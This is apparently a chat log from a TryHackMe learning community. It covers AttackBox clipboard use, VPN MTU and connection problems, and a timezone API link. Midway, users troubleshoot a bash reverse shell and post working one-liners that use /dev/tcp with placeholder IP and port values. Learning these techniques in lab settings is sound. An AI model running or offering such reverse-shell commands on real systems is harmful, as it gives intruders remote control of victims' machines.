From the AttackBox to your machine copy/paste should work. From your machine to the AttackBox you have to copy it to the built-in clipboard first.

[crystal marlin]

As far as I know you have to use the clipboard for both ways. @proven owl

This may not be correct!

It changes the length of a single packet being transmitted over the wire from the default: 1500 to 1200, a lower value
To allow additional packet data, VPN metadata or headers, to be correctly fit in

You can surely read the above post juun has shared

trying to do a bash reverse shell and i am getting /dev/tcp/whatever not found errors

even on my local machine its not working

bash -i >& /dev/tcp/10.10.10.10/1111 0>&1

the ip and port are not real

hrm, typo in my shell code nvm

[keen scroll]

This works for bash
There is no such thing as /dev/tcp
bash understands it, it tries to open a socket when it sees /dev/tcp

You can try, bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1" as well

hey guys, guess I'm a bit late to the party but why can I not connect to either EU-VIP1 or 2? I can connect to US-VIP servers though...
edit: I can access any other vpn server, except the premium eu ones.

Hello. Are AOC3 attack boxes supposed to reach the internet, because the last two I used did

[naive dust]

https://tryhackme.com/api/user/update-timezone try this one

[boreal finch]

oh there

my bad lol, i could only find the outdated one

[naive dust]

Im gonna take a quick guess and assume this is firewall related? any idea how to fix this? It happens when I try connecting to the VPN

[crystal marlin]

Have you checked if it's firewall related by trying to turn it off?
